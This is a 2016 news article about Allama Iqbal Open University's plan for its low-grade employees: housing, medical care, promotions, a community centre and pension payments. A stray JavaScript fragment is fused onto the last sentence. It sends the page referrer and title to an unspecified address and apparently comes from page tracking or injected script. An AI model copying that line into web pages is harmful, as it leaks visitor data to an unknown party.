Published On: Fri, Feb 12th, 2016
Published in Category: Islamabad

AIOU finalises strategy to resolve issues of its low-grade employees

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Islamabad: Allama Iqbal Open University (AIOU) has finalized a comprehensive plan for addressing the long standing issues of its low-grade employees, enabling them to deliver best possible services to students and achieving the target of quality education.

This was stated by the Vice-Chancellor Dr Shahid Siddiqui at the prize distribution ceremony of the flower show organized by CDA in collaboration with Islamabad Horticultural Society.

Dr Siddiqui said that employees’ welfare will always be his top priority. The Vice-Chancellor has devised a plan to resolve the issues which includes up-gradation of medical and housing facilities and employees’ promotions to their next grade.

He said that for meeting the ancient demand of the employees living in residential colony, Community Center will also be constructed in the colony to enhance the living and recreation facilities and holding family functions that includes anniversaries, marriage ceremonies and condolence references etc.

AIOU VC said that a facilitation lounge for the University’s retired employees for their occasional sitting and get-togethers named as “Welcome Home Lounge” has already been established.

The University has also taken measures for easy payment of monthly pension to its retired employees, while a scheme will be introduced for payment of remuneration to its 70-thousands tutors through a local bank.

President Employee Welfare Association Malik Mohammad Saeed and Secretary General Shir Asif Satti assured the Vice-Chancellor that they will stand by the administration in achieving stipulated targets in the academic field. The employees’ representative assured him that they would extend him full cooperation in fulfilling his dream, turning AIOU a top-most educational institution in the Asian region.

The employees’ representative assured him that they would do their best to improve the good image of the University and serve the interest of the students.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;